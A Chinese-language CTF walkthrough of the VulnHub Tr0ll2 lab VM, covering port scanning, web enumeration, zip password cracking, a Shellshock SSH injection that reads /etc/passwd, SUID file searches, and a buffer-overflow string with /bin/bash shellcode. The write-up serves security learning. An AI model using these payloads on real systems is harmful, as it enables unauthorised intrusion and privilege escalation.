首页 > 其他分享 >vulnhub-Tr0ll2

vulnhub-Tr0ll2

时间:2022-12-23 19:33:53浏览次数:52  
标签:文件 Tr0ll2 192.168 vulnhub linux txt com 56.120

 Tr0ll: 2 ~ VulnHub www.vulnhub.com/entry/tr0ll-2,107/

kali 192.168.56.109
靶机 192.168.56.120

nmap -sS -A -O -p- 192.168.56.120

Nmap scan report for 192.168.56.120
Host is up (0.0014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82fe93b8fb38a677b5a625786b35e2a8 (DSA)
|   2048 7da599b8fb6765c96486aa2cd6ca085d (RSA)
|_  256 91b86a45be41fdc814b502a0667c8c96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:B3:3F:0C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.44 ms 192.168.56.120

访问web服务,查看首页源码

再访问 /robots.txt 得

将路径写入文件,使用dirb测试 dirb 192.168.56.120 path.txt 

这几个页面都只有一张图片,全部下载下来后使用 binwalk exiftool strings 进行分析。

使用strings分析 dont_bother 下的图片时发现 Look Deep within y0ur_self for the answer

访问 y0ur_self路径

txt内容为:

可见为base64编码后,下载下来后使用 base64 -d answer_base64.txt > answer.txt解码

 

登录ftp服务器,使用弱口令登录,下载zip文件

需要密码才能解压缩,破解zip的工具有 zip2john  fcrackzip
使用fcrackzip和之前得到的字典破解 fcrackzip -u -D -p answer.txt lmao.zip

解压zip得到一个名为 noob 的文件:

成功连接,但无法进入bash。此处可利用 shellshock 漏洞 ssh [email protected] -i noob '() { :;}; cat /etc/passwd'

Bash Shellshock漏洞复现及分析 - FreeBuf网络安全行业门户   www.freebuf.com/articles/system/279713.html

几个常用shell脚本工具:

https://github.com/mzet-/linux-exploit-suggester  # 检测linux存在漏洞,简称les
# 枚举信息
https://github.com/rebootuser/LinEnum
https://github.com/BRU1S3R/linpeas.sh

查找可以用于pwn的文件

  1. 查找最高权限的文件: find / -perm -4000 2 > /dev/null
  2. 查找可写入的文件:find / -writable 2>/dev/null
  3. 查找root权限执行的文件:ps aux|grep root

查找到文件:

使用 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 和 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 得知缓冲区大小为 268

使用 作为参数:

在靶机上使用gdb查看栈溢出时ESP的内容,为 0xbffffb60

在网站 http://shell-storm.org/shellcode 搜索得shellcode,得到输入参数:

$(python2 -c "print 'A'*268 + '\x60\xfb\xff\xbf' + '\x90'*100 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")

其中 \x90 为nop指令,为 nop sled 技术 

 

标签:文件,Tr0ll2,192.168,vulnhub,linux,txt,com,56.120
From: https://www.cnblogs.com/zhh567/p/17001369.html

相关文章

  • vulnhub-LordOfTheRoot
    https://www.vulnhub.com/entry/lord-of-the-root-101,129/本机10.0.2.4靶机10.0.2.15靶机是桌面版ubuntu,提示了登录用户名smeagolnamp扫描,发现只有22端口开放。使......
  • vulnhub-IMF
    www.vulnhub.com/entry/imf-1,162/kali 192.168.10.7靶机192.168.10.10nmap-sV-A-O-p-192.168.10.10Nmapscanreportfor192.168.10.10Hostisup(0.0020......
  • vulnhub靶场,Me-and-My-Girlfriend-1
    靶场地址和背景:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/Description:ThisVMtellsusthatthereareacoupleofloversnamelyAliceandBob,......
  • vulnhub-DerpNStink
    DerpNStink:1~VulnHub www.vulnhub.com/entry/derpnstink-1,221/修改hosts文件,使IP绑定到derpnstink.localkaliip:192.168.56.109主机扫描主机发现nmap-sn......
  • Vulnhub之ReconForce靶机详细测试过程
    ReconForce作者:jason_huawen靶机基本信息名称:ReconForce(v1.1)地址:https://www.vulnhub.com/entry/hacknos-reconforce-v11,416/识别目标主机IP地址──(kali㉿ka......
  • Vulnhub之Replay靶机测试过程(部分)
    Replay识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Replay]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.64.0/16|ScreenView:UniqueHosts......
  • Vulnhub之Ripper靶机详细测试过程
    Ripper识别目标主机IP地址──(kali㉿kali)-[~/Vulnhub/ripper]└─$sudonetdiscover-ieth1Currentlyscanning:172.16.173.0/16|ScreenView:UniqueHost......
  • Vulnhub之Shuriken 1 靶机测试过程
    Shuriken识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Shuriken]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.62.0/16|ScreenView:UniqueHo......
  • vulnhub-Tr0ll
    本机ip:192.168.10.7靶机ip:192.168.10.8扫描nmap-sn192.168.10.7/24nmap-sS-sV-A-p-192.168.10.8Nmapscanreportfor192.168.10.8Hostisup(0.0017slate......
  • Vulnhub之So Simple靶机详细测试过程
    SoSimple作者:jason_huawen靶机基本信息名称:SoSimple:1地址:https://www.vulnhub.com/entry/so-simple-1,515/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/So_s......